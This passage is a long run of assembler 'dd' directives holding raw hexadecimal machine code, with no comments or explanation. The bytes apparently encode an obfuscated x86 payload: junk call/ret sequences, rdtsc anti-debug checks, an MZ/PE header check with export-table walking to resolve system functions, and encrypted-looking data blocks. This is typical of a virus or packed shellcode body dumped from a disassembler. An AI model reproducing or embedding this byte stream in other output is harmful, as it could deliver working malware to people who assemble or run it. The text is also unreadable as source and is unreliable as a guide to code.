0FB2B5EFDh, 0C933FC52h, 33D18B49h, 0ACDB33C0h dd 0CD8AC132h, 0D68AEA8Ah, 0D16608B6h, 0D8D166EBh, 35660973h dd 81665041h, 0FE5449F3h, 33EB75CEh, 4FD333C8h, 0D2F7D575h dd 0C28BD1F7h, 6610C0C1h, 3B5AC18Bh, 5E0F74D0h, 0FF04C683h dd 1E006585h, 0FF5DE906h, 6A5EFFFFh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 4F6AC350h dd 0EDA4720Eh, 0E9846C79h, 10h, 905E7ACDh, 92983D99h, 8EA4E512h dd 0A5B5B76Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 42C35747h, 0B4D4404Ah, 987D16E5h, 6E9D2h, 60420000h dd 0F9810F8Bh, 9E9h, 4E117600h, 0E2CD433Bh, 858B0AD6h dd 61E0065h, 6AE0D1FCh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 4FCBC351h, 29119509h dd 8E0F061Eh, 1, 58503F5h, 89061E1Dh, 1E21CD95h, 0BE06h dd 12E90000h, 46000000h, 6506B7AAh, 72B1646Fh, 7EFBF5BDh dd 0CE23313h, 0B5899668h, 61E0D7Dh, 6AAD66h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 0A193DEC3h dd 2634EC9h, 0C16111B3h, 2B6002E0h, 1E0CED95h, 61D18B06h dd 9E9h, 4C82C400h, 77A7BBB3h, 85036715h, 61E098Dh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 22C35141h, 0F040FE8h dd 180h, 0B860F800h, 669571EAh, 0EE9h, 0FA071A00h, 1E1CF19Fh dd 703D816Bh, 614EC1D2h, 53006A96h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1D04h, 0C3534300h, 1AB60636h, 4AD4EE4Eh dd 0B5310722h, 61E338Dh, 895060ADh, 1E1D2195h, 858B5A06h dd 61E2D05h, 11E96061h, 50000000h, 5EC271AFh, 0EC553BE8h dd 670B1B2h, 1CCDADD8h, 870Fh, 81610000h, 24247Ch, 0F100000h dd 13087h, 2360F900h, 1E2999B5h, 8E906h, 0D3880000h, 528BE543h dd 90617EACh, 0DF8B6660h, 5E616053h, 830F5061h, 15h, 10E9h dd 1EF75300h, 0C4B9ADECh, 11166131h, 219D75EEh, 806090E1h dd 0F2803BDFh, 448B611Eh, 6A2824h, 3E850h, 58200000h, 448958C3h dd 44810424h, 160424h, 50400000h, 19F89DC3h, 11E9FCh, 0B0F30000h dd 25875D13h, 0ACF9DA0Dh, 4662B2EFh, 903AA941h, 12E9h dd 2E214000h, 313E517Fh, 103329DBh, 0DBD7CA15h, 50E07A47h dd 8860Fh, 8C0F0000h, 2, 6A906160h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 72A3C353h dd 8E96DE7h, 0FC000000h, 0AA54B0DEh, 8DF9E3CDh, 213BFD85h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h dd 0C3554500h, 7795630h, 1189893h, 1E09E58Dh, 68B0F06h dd 89000000h, 1E2FD18Dh, 6AD0FF06h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 3B6CC352h dd 0D3491FD9h, 244403B2h, 66F86024h, 616B32B8h, 0FE9h dd 0B29CE400h, 0B4787401h, 65E55DB9h, 12DA9C4Ch, 1C244489h dd 2CC19D29h, 85C6061Eh, 61E2041h, 2185C700h, 6217Ah, 0C7000000h dd 2178BE85h, 6, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1B04h, 0C3524200h, 601E63CAh, 0A6878897h dd 0DE9h, 94F39000h, 4D2DC2C6h, 0F55CCE6Bh, 0EE96F24h dd 30000000h, 28F55897h, 0AC05D86Eh, 0C4B4955Bh, 0C2FC61C2h dd 6A0008h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h dd 50400000h dd 0D826DCC3h, 48E619CDh, 6E994h, 8AF0000h, 7A61EDFCh dd 98D858Bh, 6A061Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1A0424h, 56460000h, 0B91486C3h, 0A510A3FDh, 6A4AF5h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 1303A8C3h, 0B5898526h, 61E1FB1h, 0F804D26Bh, 8D0FC203h dd 6, 0F059589h, 6A96061Eh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 0F49AC355h, 0D7A3AA0Ah dd 0CE4CCFFAh, 68A0FF5h, 1000000h, 1E1FE98Dh, 89ADF906h dd 1E299D9Dh, 247C8106h, 24h, 0A870F10h, 89000001h, 1E201595h dd 6E99006h, 3A000000h, 57E075D3h, 8A0F5063h, 0Ch, 6830Fh dd 800F0000h, 0 dd 0FE990h, 65170000h, 0B5E1CCE6h, 8EF8CCAFh, 13872B7Bh dd 24448BCAh, 14E928h, 90120000h, 0B65A61CDh, 720C0CC6h dd 3A99378Ah, 343C93EBh, 8A60DDD2h, 69B529E7h, 61061E1Dh dd 11E950h, 7660000h, 7CE55A36h, 8B9500E9h, 0FF747E22h dd 8914A014h, 6A2404h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1A0424h, 56460000h, 0FD7FAAC3h, 373079D9h, 3BFD858Dh dd 6A0621h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h dd 56460000h, 60C871C3h, 0E9F7B70Fh, 7, 861F7020h, 6118AE43h dd 0DFD9529h, 0D0FF061Eh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Dh, 0F4C35343h, 0F1E34551h, 4F6A1698h, 7E90Eh dd 67A80000h, 9B6072F2h, 0FD87E986h, 6AFFFFh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 180424h, 51410000h, 7A5A9DC3h dd 858DE785h, 6218DFEh, 0EF816660h, 8D8B50A3h, 61E1229h dd 52505061h, 0F525060h, 50585A31h, 5A310F52h, 310F6158h dd 6E9h, 0E02F3000h, 5A6B8341h, 24048958h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 24C35343h, 88DE0443h dd 0F838B14h, 187h, 0B589F500h, 61E2741h, 35FF64h, 60000000h dd 0D61858Bh, 0BF66061Eh, 0F6154C2h, 98Eh, 0D8816000h dd 35565DAFh, 48B61F5h, 0C9853124h, 89061E2Bh, 1E197185h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h dd 0C3514100h, 0E8E12989h, 258964C4h, 0 dd 0B840Fh, 0F600000h, 8531F0BFh, 61E0E05h, 7E961h, 62F40000h dd 7F9B57A8h, 0ED858DA4h, 6A06218Bh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 15042444h, 40000000h, 0E456C350h dd 0F258501h, 6089061Eh, 70E9F801h, 6A000002h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 40EDC350h, 0B5F87951h, 8BF897E0h, 0E8DBh, 815D0000h dd 218BE6EDh, 0FF9CBC06h, 0BD830012h, 61E18D1h, 8B187400h dd 1E0E2D85h, 0C606h, 1385858Bh, 0C6061Eh, 7595FF00h, 60061E13h dd 74C2B5FFh, 858D0621h, 62174C6h, 0BE858D50h, 50062176h dd 2BB995FFh, 0C483061Eh, 860F610Ch, 6, 2698589h, 6A061Eh dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 0C3E248C3h, 9D2FE3DBh, 0F8F970A3h, 76BEB58Dh, 6A0621h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 8D7050C3h, 1E23A5BDh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1404h, 0C3554500h, 3E80F58Fh, 5D840F00h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 18042444h, 41000000h, 0CBAC351h, 0FEE9CA0h, 18Fh, 1A4F800h dd 1E2B9995h, 29950906h, 0E9061E0Eh, 0FFFFFFBEh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0B1C35747h, 0DF793EC9h dd 0F996D75Fh, 6AC02Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1C0424h, 56460000h, 15D8DEC3h, 31321AC2h, 0B589C987h dd 61E1731h, 0E890Fh, 9E90000h, 8F000000h, 1D95DA31h, 24036B30h dd 51006AAAh, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h dd 0C3514100h, 0DDCFCC9h, 0BD0137ABh, 61E00D1h, 7B8h, 0D38A6000h dd 61DBB70Fh, 29C585C7h, 1061Eh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 0E7FB9CC3h dd 0E1A35C5Ch, 0B88D8D22h, 6A061E4Ch, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 827AC352h dd 0B8281FF2h, 6AE1FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 204663C3h, 27358D09h, 5C8B061Eh dd 0E8550C24h, 0 dd 8ED815Dh, 8B06218Eh, 0B883h, 0C2858900h, 8D062174h dd 218BDF85h, 0B8838906h, 5D000000h, 6AC3C033h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h dd 6D7FC355h, 89559D01h, 1E0A11BDh, 0E9958906h, 60061E21h dd 11E9h, 88B34B00h, 0D85EB253h, 5269395h, 79D6BEAh, 858D8C37h dd 621907Ah, 9E960h, 5A5E0000h, 0C3DD347Dh, 664B1EFCh dd 9061C68Bh, 18870Fh, 13E90000h, 3F000000h, 0CCFC5978h dd 6BFA3B37h, 6DCF818Dh, 0C8D57C51h, 505083CCh, 6850F52h dd 50000000h, 5A310F52h, 60310F58h, 0D6BEFA8Bh, 614E1269h dd 8990585Ah, 1E05DD8Dh, 35FF6406h, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 7CC35242h dd 0E7769234h, 8964DF91h, 25h, 88D0F00h, 0F000000h, 28Ch dd 1616000h, 1E1D158Dh, 18858D06h, 6A062191h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 6986C351h, 0B4969CE8h, 0A9C8284Fh, 1E299529h, 6089061Eh dd 51006A01h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 0C5DECB72h, 0CB816660h, 0BD8958CEh, 61E0205h dd 85C6F861h, 61E2041h, 1890F4Fh, 0F8000000h, 4E8h, 0C8742A00h dd 6800FFEh, 60000000h, 61606160h, 66605061h, 0BE1A74BBh dd 46AF6FEAh, 24448B61h, 0F525004h, 0C8Bh, 7E900h, 99AE0000h dd 8EBF973h, 50310FC8h, 0F525052h, 0F585A31h, 0F525031h dd 5A585A31h, 8B585A58h, 0CE900h, 0C8120000h, 53E6F253h dd 0BF575C50h, 44899539h, 12E90424h, 67000000h, 3558D701h dd 7E3B7BFEh, 5D2C2853h, 0E6FB3DFAh, 6A580Ah, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 0A49D4C3h dd 0DE608FEDh, 49BD294Ch, 0FF061E1Eh, 1E3291B5h, 6840F06h dd 89000000h, 1E1B9195h, 8B666006h, 8D61F9CEh, 2178D185h dd 0D0FFF906h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Bh, 3AC35646h, 811E12F5h, 29E99A7Ah, 1E024D9Dh, 0A6E906h dd 8B600000h, 1E1F8DB5h, 5C8B6106h, 0E8550C24h, 0 dd 84ED815Dh, 8B062190h, 1E02F185h, 91858906h, 8B061E32h dd 1E145585h, 65858906h, 8B061E2Ah, 1E1E9D85h, 0DD858906h dd 0C6061E07h, 1E204185h, 85C70006h, 6217A21h, 0 dd 9118858Dh, 83890621h, 0B8h, 0C3C0335Dh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0BAC35747h, 1F202785h dd 6095F1B6h, 0D840Fh, 8E90000h, 23000000h, 25A8A0D8h dd 0FCABCC8h, 48Ch, 0BB86600h, 0B53161D0h, 61E17FDh, 12FF74BCh dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h dd 0C3534300h, 868D2E1Fh, 64D3E941h, 58Fh, 83F80000h, 958904C4h dd 61E20E5h, 83E961h, 51530000h, 8B575652h, 661C245Ch dd 5A4D3B81h, 68850Fh, 0B70F0000h, 0D8033C43h, 503B8166h dd 57850F45h, 8B000000h, 5C03785Bh, 738B1C24h, 24740324h dd 7B8B561Ch, 1C738B20h, 20247C03h, 20247403h, 0FFC983FCh dd 245C8B41h, 3178B1Ch, 83202454h, 28A04C7h, 874C084h dd 0E875033Ah, 0F2EB4243h, 0E075033Ah, 0FE1D15Fh, 8B0F04B7h dd 44038604h, 5E5F1C24h, 0C25B595Ah, 0C0330008h, 0FFFFF1E9h dd 0E8CA8BFFh, 0Ch, 67529C84h, 906DDC5Ch, 0B463A8FEh, 66575259h dd 58E13ABEh, 55C1815Ah, 0F00006Bh, 9BBBD3B7h, 0E800001Ah dd 11h, 0F858E496h, 5B06058Ah, 8AD98C17h, 0FBE3C72Ch, 8B66601Ch dd 0CE9FAh, 27EF0000h, 0E7D9B34Ah, 81F3EBDAh, 5861B7F5h dd 8B66398Bh, 0C1EF81F7h, 6674C849h, 816BD0B8h, 33835FF7h dd 0FCE813Ch, 8175A514h, 6CEF19EFh, 65E28034h, 8D0F3989h dd 2, 0E983C68Bh, 0F2816603h, 0F49B8E4h, 128Ah, 0DE900h dd 0ADAD0000h, 84B1BE90h, 6A98A556h, 8188AF31h, 1EBh, 20850F00h dd 52000000h, 0F6816656h, 5E5E177Ch, 34E9h, 75BF4300h dd 0BA70D534h, 1DE6D4FAh, 0B3CFA783h, 0E93F3CCCh, 8, 23DB03B0h dd 0E11C6260h, 0FFFF73E9h, 877578FFh, 7A8B4D4Dh, 350F7F6Ch dd 4CD059Bh, 148E9B0h, 500000h, 540000h, 580000h, 5C0000h dd 600000h, 640000h, 680000h, 6C0000h, 0B00000h, 0B40000h dd 0B80000h, 0BC0000h, 0C00000h, 0C40000h, 0C80000h, 0CC0000h dd 0D00000h, 0D40000h, 0D80000h, 0DC0000h, 0E00000h, 0E40000h dd 0E80000h, 0EC0000h, 38h dup(0) dd 810E0000h, 50EB0056h, 858D009Eh, 62192D2h, 94128589h dd 0DF810621h, 700FE413h, 204185C6h, 5754061Eh, 4E85Fh dd 68290000h, 0FA8BEE62h, 317EB950h, 448B6179h, 8B0424h dd 11E8h, 0FBE53300h, 8858548Eh, 0F39ED65Eh, 0BAB2974Ah dd 1EB73704h, 2444895Ah, 66606004h, 5DBBF08Bh, 61013095h dd 0DE8B5861h, 3291B5FFh, 858D061Eh, 62178D1h, 0D0FFC88Bh dd 1D959529h, 8589061Eh, 6219416h, 14E9h, 17CE7400h, 9CB5BC89h dd 841D01EDh, 56C239B2h, 0B895075Bh, 47E9C6h, 0B9660000h dd 8B56C9F8h, 219412B5h, 83068906h, 21941285h, 0C35E0406h dd 0D2B58D60h, 0EB062192h, 6A560Fh, 95FF36FFh, 6219416h dd 4C6835Eh, 75003E83h, 2BC361ECh, 1E0E399Dh, 68F0F06h dd 8B000000h, 1E3181B5h, 0C8858D06h, 89062194h, 1E193585h dd 0E5E906h, 4D100000h, 71DCFFEEh, 0A1D1F32h, 8FDD7A0Eh dd 6D373353h, 3D557D2Fh, 0D57F2D77h, 577DD77Dh, 0DF6DF73Dh dd 0D773D575h, 0F73D577Dh, 75D55FEDh, 6D373353h, 3D557D2Fh dd 0D57F2D77h, 577DD77Dh, 0DF6D171Eh, 20602075h, 0E0202060h dd 0AC2060E0h, 0A9F77B68h, 0D020A1E4h, 0EDA693B2h, 91B99DB7h dd 20ACA3F2h, 20602060h, 0E0202060h, 752060E0h, 0D0A3353h dd 20557D2Fh, 20602060h, 2BA72860h, 0D650F036h, 0EFB6F360h dd 0E0F796A1h, 0B8E3A7B4h, 0B3F47192h, 0F76DB9E9h, 2 dup(20602060h) dd 0DF6DF720h, 0D773351Ah, 0F73D577Dh, 75D55FEDh, 6D373353h dd 3D557D2Fh, 0D57F2D77h, 577DD77Dh, 0DF6DF73Dh, 0D773D575h dd 0F73D577Dh, 75D55FEDh, 6D373353h, 1E357D2Fh, 0A8000E0Ah dd 54A766C1h, 3143F2FDh, 0E955DD15h, 0C5Ah, 21987C68h dd 0E9A1E906h, 7B68FFFCh, 0E9062199h, 0FFFCE997h, 219A3968h dd 0E98DE906h, 2568FFFCh, 0E906219Bh, 0FFFCE983h, 219B8768h dd 0E979E906h, 2068FFFCh, 0E906219Ch, 0FFFCE96Fh, 219D5268h dd 0E965E906h, 3468FFFCh, 0E906219Eh, 0FFFCE95Bh, 219EE868h dd 0E951E906h, 0CD68FFFCh, 0E906219Fh, 0FFFCE947h, 21A0D768h dd 0E93DE906h, 7011FFFCh, 0B73550C5h, 0DA5E79EEh, 0EC8BA61Bh dd 30B5D045h, 0C5B7F86Dh, 0FB7035BAh, 229742E0h, 4DC26707h dd 71E68F32h, 25BFD571h, 313F4669h, 0F0063E7Ch, 3F4668F4h dd 6942A2B8h, 0CF143F46h, 0AF67165Bh, 1331F073h, 955976FAh dd 7438D5E9h, 0F4D685ACh, 381AC75Bh, 0BF71B7B4h, 0C600753Ch dd 736C788Eh, 2A403925h, 392573BAh, 9EE3579Ch, 680930EFh dd 8A3D344Ah, 16333F43h, 0B750CD90h, 0F58DE312h, 710AEC13h dd 97B227CEh, 0D56B4D14h, 3306D90Ch, 8F7134B9h, 57D677F6h dd 6E85678Eh, 0A383D043h, 5E5B4593h, 54573E18h, 18D95C0Eh dd 9B5AE1FAh, 0D95C77ECh, 1A9D3618h, 0F5F8795Bh, 21C5DEAFh dd 2BCECD7Ch, 3F3D158Ah, 0F887E38Eh, 51Ch, 0C7BD5442h dd 7BD7A7C8h, 0D85B5A09h, 1B9E3719h, 83233C5Ah, 0C463FCDEh dd 537A3B1Dh, 0E5542FA4h, 0ADD76E8Ch, 0B414CD6Ah, 3429BBD1h dd 0E82D3925h, 0BCF412C1h, 33766E84h, 9BE03925h, 5169F0ECh dd 962D3F43h, 0B149DD19h, 1872EFA5h, 5F434059h, 0F53AAE5Dh dd 6A637D13h, 0AC493307h, 475D9566h, 33076A9Dh, 9C574B9h dd 87E3390Bh, 0A7B6B74Eh, 0ABF845E4h, 4D54FCh, 0B39E0000h dd 0B9CFED86h, 3F42FE4Ch, 0D0E9074Ch, 0E6A78928h, 21BF5537h dd 0A23306A8h, 34F97E1Fh, 5D732B0Dh, 3306A787h, 0EA8B8ACFh dd 5D4E6547h, 70862D39h, 0EA30331Ah, 0FEE10319h, 30753305h dd 1056F309h, 0E4A8A3A1h, 0D15C87h, 73A60000h, 0B64F31F0h dd 0F18A6C31h, 5189A74Eh, 24D2A93Bh, 0F7ED0339h, 5F3924D2h dd 6261A61Ah, 763719DCh, 0A94CE5C7h, 567B9308h, 4F3924D6h dd 50E705ACh, 0BDA9F241h, 0FF742303h, 0BEA041E4h, 819FD465h dd 42035E6Bh, 87DC23Fh, 49670C2Dh, 2BA17A11h, 0CF9F1109h dd 5CF62420h, 87CC3927h, 11B7D269h, 0D5735BDFh, 0B7D00826h dd 0CE8F7130h, 0DA9F201Fh, 0A54A65h, 27A2893Eh, 0BB4345ECh dd 935h, 3AAF6AF7h, 63D8991Fh, 88FDA448h, 0B227CE6Dh, 0DE531697h dd 1FA0AB9Dh, 38CAE55Ah, 49ED087Dh, 91142FA4h, 0BF5B5BD0h dd 466B3BA9h, 8E661B3Fh, 0BA2FF273h, 2EFF1C9Fh, 0B4C56C12h dd 18964E64h, 7BC03925h, 8B7CD754h, 0BBD7E5EEh, 0B34B1F94h dd 0B9CFED86h, 3F42FE4Ch, 8F25074Ch, 3306A751h, 978BE5Bh dd 87E4000Bh, 0F0AD354Eh, 0F69E4D0Eh, 0D4h, 31F07340h dd 0AD00974Fh, 0B883ED0Ah, 0CA6B6A19h, 0DD04AD4Fh, 872A43FBh dd 8C3BFCDEh, 25774190h, 20C16439h, 44ED90ABh, 43300962h dd 1EB5ED25h, 0D7F84688h, 37ADA991h, 1F3924FEh, 9A2F2BDAh dd 863F430Ah, 4123C269h, 9E45980h, 0B1334C30h, 514D0EF0h dd 3306F093h, 39577EC3h, 2799E623h, 5775BA39h, 0D6F4B93Eh dd 0B3C5E73Fh, 0AD4CD464h, 0B92EDD04h, 475D199Eh, 2CE67B9Dh dd 8B4D74B9h, 0EC276B36h, 3676FE00h, 0F8000008h, 1E39AE6Bh dd 4762D79Eh, 6C87FCA5h, 94AF24CDh, 98D94E13h, 571A9BA6h dd 7E3BC7E2h, 0A548EE09h, 0D3921530h, 0ACC25E5Eh, 3F466C38h dd 7391691Eh, 9FBA2FF2h, 9C485E1Ch, 103924D2h, 24D2EAFAh dd 0B3276C39h, 0FED2476Eh, 0D759F073h, 446B2C0Eh, 7F26C962h dd 0CD2B540Ah, 23327336h, 0C0DDC36Dh, 0C0078445h, 0F2B160ECh dd 0F60C2A47h, 3F43A32Bh, 0CE8660A5h, 0C47332B5h, 0CFD742C8h dd 4F241531h, 21561B31h, 0D51A3A5Dh, 32BE20B7h, 33186DCAh dd 0F049A284h, 624F6583h, 0E4344170h, 0DB8A37CBh, 0CC042267h dd 8A6C35B3h, 981B1AC9h, 0A64964D9h, 6B163DFFh, 0B6B8E73Fh dd 7782Eh, 0ECA93A00h, 15DC5C77h, 42E385A0h, 6A0BB2CDh dd 9055DAF5h, 0DDE8DA1Bh, 5209558h, 304BC07Dh, 5B76EB8Eh dd 0A4A419D8h, 6CF2F208h, 0AF643F46h, 31F073D7h, 2E43F64Fh dd 0D37FFA10h, 0BC013F42h, 0A4CD6C47h, 8CDBEF86h, 0FC3464FFh dd 0AA192F4Dh, 0C039284Dh, 0A48EF188h, 15D083BCh, 0E563CB19h dd 97468B2Ch, 0C5938823h, 0C677FAF7h, 1149819Fh, 0E5B7E9FBh dd 79286D2Ch, 0CC56F77Ah, 5A75EA11h, 742C0ED7h, 0B7BE263Ch dd 53982CE5h, 1F54E5A4h, 31B3C901h, 252CE5B8h, 0FD1331E0h dd 33074CEDh, 512B34CBh, 6CF2F457h, 52AC384Eh, 65AA26C4h dd 0DFFD42B6h, 9C7E27C6h, 965BDCDBh, 2644F3B4h, 56CB6A0Dh dd 0EEA3B83Bh, 86D35C52h, 7203E65h, 1DDEC061h, 6338C6Eh dd 68394F6Dh, 682CE2B6h, 7B0C6123h, 0C4C6DFE7h, 68C3Ch dd 8B54E00h, 31F07893h, 561FA1BCh, 7E27C6E1h, 0A449EE09h dd 0F1FCEE2Fh, 1934A94Ch, 3C57CC89h, 6782F7BAh, 0A8A81DC4h dd 6DEEF60Ch, 0B3683F46h, 9786B3DBh, 0F19D6CBDh, 82A0C7A6h dd 473D866Ch, 89A7EC3Fh, 0AF24CD70h, 6E501194h, 314F2415h dd 22145E1Bh, 1BDD2239h, 0EC26FF44h, 2A089092h, 0EC000006h dd 1A35AA57h, 435ED392h, 708B00A1h, 98B328C9h, 9CDD5217h dd 5B1E9FAAh, 8A37CBE6h, 0B174FA15h, 0D79E213Ch, 0B0C66262h dd 3F466E34h, 0B3956D22h, 97CFED86h, 5537FE7Eh, 0F1501794h dd 20EBC3Ah, 346C5753h, 63A83F47h, 0E8892C45h, 34D55873h dd 0E3C5ECB5h, 0B2CBAF8Ah, 776D690Ch, 0DF330408h, 94763FC2h dd 6785ACD3h, 259D9951h, 6684C939h, 0ED0BAA4Dh, 0BB7ACB56h dd 0CC7BE765h, 0F8B93C57h, 0F77CBD16h, 0F7DEC3D9h, 0ADF232FFh dd 4BC8EEBh, 0EE7678E6h, 591h, 9E13CE53h, 0C73CE583h, 0F46908ACh dd 1E9352D9h, 4ABF6203h, 6B0C1709h, 0AC3651C6h, 0DD617CF1h dd 0E588A318h, 2BC7C73Ch, 466ECF15h, 0FAD2873Fh, 4F31F073h dd 9B495F97h, 0BB3924D2h, 25C8C776h, 7B5D04A4h, 431E93BAh dd 0A20F27F6h, 0AF2DF93Bh, 5546A88h, 3B3F433Fh, 627E14F6h dd 4A330703h, 0FAF867ADh, 0B387E39Fh, 2Ah, 0ED86B3FDh dd 0FE4CB9CFh, 89A23F42h, 9E5F41E4h, 0A958199Fh, 780EF035h dd 3306A768h, 0F261A744h, 87E3FFF4h, 0D6ADh, 0F073F700h dd 0B43AD359h, 274E0FF1h, 7B5D8445h, 7A985DE2h, 3517DE61h dd 4AE3C574h, 831CFEA7h, 0A2341E0h, 1EDFC164h, 0EFE2FA6Fh dd 0B63924D6h, 0CF981C33h, 6EC770B8h, 34B7D247h, 7B846076h dd 8DD23924h, 8C2F4866h, 0E5C76E0Dh, 821BFD24h, 5F0E35E0h dd 5C15247Dh, 88D1283Eh, 6AAF3F42h, 521F1AF5h, 8D65FC34h dd 8773BD51h, 229CC71h, 12C16003h, 27756B16h, 0C2E02539h dd 0E58904A9h, 22C55E40h, 0B9E0A183h, 0CAE31D92h, 0D0CF7E27h dd 0C3C88A2Fh, 0BEC2707h, 45F8109h, 80210000h, 0A74560D5h dd 0CA6E89FEh, 1C9BB62Bh, 20C5E055h, 0D5C7087Dh, 0B8025CAh dd 32A752F0h, 5DD29717h, 81F6BF42h, 15CFE581h, 413F4670h dd 0F273B48Ch, 1C9FBA2Fh, 0B30CE055h, 97CFED86h, 0C8D48000h dd 8938BA66h, 4340788Dh, 0CEE4203Fh, 3306EA16h, 0E9648096h dd 0ADF23306h, 0EBCDF439h, 6E98B55h, 3E842133h, 0E3BDD1CFh dd 0BE8A87h, 556E0000h, 0A65E0DD0h, 0C9DBF073h, 0B11029DFh dd 44E98D8Ch, 1DA23B1Dh, 0F1E07658h, 95392546h, 3E9D475Dh dd 74B93925h, 8223C6C5h, 0A64FF20Dh, 0A5CE6BC4h, 0D266F087h dd 6F55F1D2h, 6D8CA2C0h, 133F4386h, 0BB7E59CEh, 0A08298B6h dd 88392814h, 7928C96Fh, 0C841E805h, 0DFA08227h, 0EE15D6B8h dd 7336B7D0h, 9F42E3FEh, 27ADA8DDh, 0E0686AECh, 37Dh, 82F7A23Fh dd 0AB20C167h, 0D045EC90h, 0FA6F36B5h, 269B5EDFh, 47E8F3E5h dd 70122DA2h, 0B13550C5h, 0D95C77ECh, 7A3A318h, 4670F3F1h dd 0D6AE633Fh, 0D457F273h, 436A2B0Dh, 7130B3CEh, 642BC2FCh dd 0B6E3DE00h, 2DE87A79h, 23DB8A4Bh, 4F31F073h, 0FD7233B6h dd 18213647h, 0FA273D5Bh, 0D63F42F2h, 0D35A7391h, 16973012h dd 0A37D2C53h, 3C297B0Dh, 1061D8D7h, 40A4BAF2h, 168ED13Ch dd 0BFDD54D1h, 9D22C70Dh, 8BBAD0EEh, 8D94EF2Fh, 2C0D6648h dd 9E132947h, 528ED453h, 53D6EF0Dh, 7F021D92h, 0FC46DC60h dd 1E456373h, 0D256BB5Ch, 1898B41h, 2C9h, 0D64BF68Bh, 0FF743DBBh dd 2CA140E4h, 56CB6A11h, 82F7BA3Bh, 0A3444F41h, 0D46E89FEh dd 1599B429h, 3DC0DB50h, 63FFFF74h, 4670974Dh, 320ABF3Fh dd 1331F073h, 94B273FAh, 24D2667Eh, 0FCABF039h, 0A249621Ah dd 61602103h, 743517DEh, 3E3306C5h, 4AB0A20h, 84D3F43h dd 62AEDD93h, 0F309A549h, 3306A0F1h, 17F92065h, 51E8A756h dd 0F50BA748h, 3306A0EFh, 19FB2267h, 0FD133158h, 3924C124h dd 0F78D67ACh, 0E976EFE5h, 40F82316h, 5F99A80Fh, 0EC022047h dd 7678F185h, 0CC4A6EBh, 9EC84075h, 7597BDB7h, 7DFE7B02h dd 24CD6B45h, 0AB5A8142h, 0E4CE4DECh, 4A1E64F5h, 588CA2C0h dd 0FE6A3C65h, 5E7492B9h, 705DDE53h, 213A589Dh, 37F8DA9Bh dd 0AE516A88h, 0F4779207h, 0D8A66B2Dh, 8E90235Bh, 1E406h dd 601DA600h, 8928D0EBh, 0AE77F914h, 0D69F1E39h, 0FCA14661h dd 49544687h, 718C01A4h, 94AF24D1h, 0BFDA4F12h, 753Ch dd 71964E64h, 0BC03F46h, 31F07333h, 2E43F64Fh, 23BFD810h dd 5ACBC776h, 0D43F42D8h, 94763BBBh, 15B024D3h, 79377757h dd 0B4E3F1FFh, 41559F43h, 0C87EF31Ah, 8F8EABBCh, 72D422B6h dd 0AFCDF4C0h, 24A08899h, 8D2B4839h, 869FBDE4h, 9F6042E3h dd 0C75E16F0h, 0B2C84921h, 2CE88332h, 9B62DF24h, 9B9411A0h dd 5574C7A7h, 0C3817D2Ch, 8E5DB44h, 0EA224031h, 0F56C10D4h dd 5E869C73h, 0F873F56Bh, 0DCFA3FB3h, 0F56C1EC6h, 44F33873h dd 9E611026h, 0CA0F7A13h, 0F1AA8FE8h, 7C8AA4Bh, 0DDBF7A08h dd 9FD7F51Ch, 5D3FE686h, 0C0F1ED9Ch, 3073F8B1h, 5D95CDEBh dd 0B5BF9D47h, 677DB967h, 67B5BF7Dh, 0BE6D94D9h, 753CBFh dd 344D42E5h, 297C125Ch, 3B1DD86Ah, 6A2C537Ah, 26F691B9h dd 0DAFB8385h, 9C000000h, 0CAE55A07h, 0F30E8322h, 203BB071h dd 4863D899h, 4C8D02A7h, 0BAE4F5Ah, 3AE77B96h, 6104AAC5h dd 872ED1ECh, 60761212h, 3F467284h, 73451DD2h, 0DB1331F0h dd 97793CC2h, 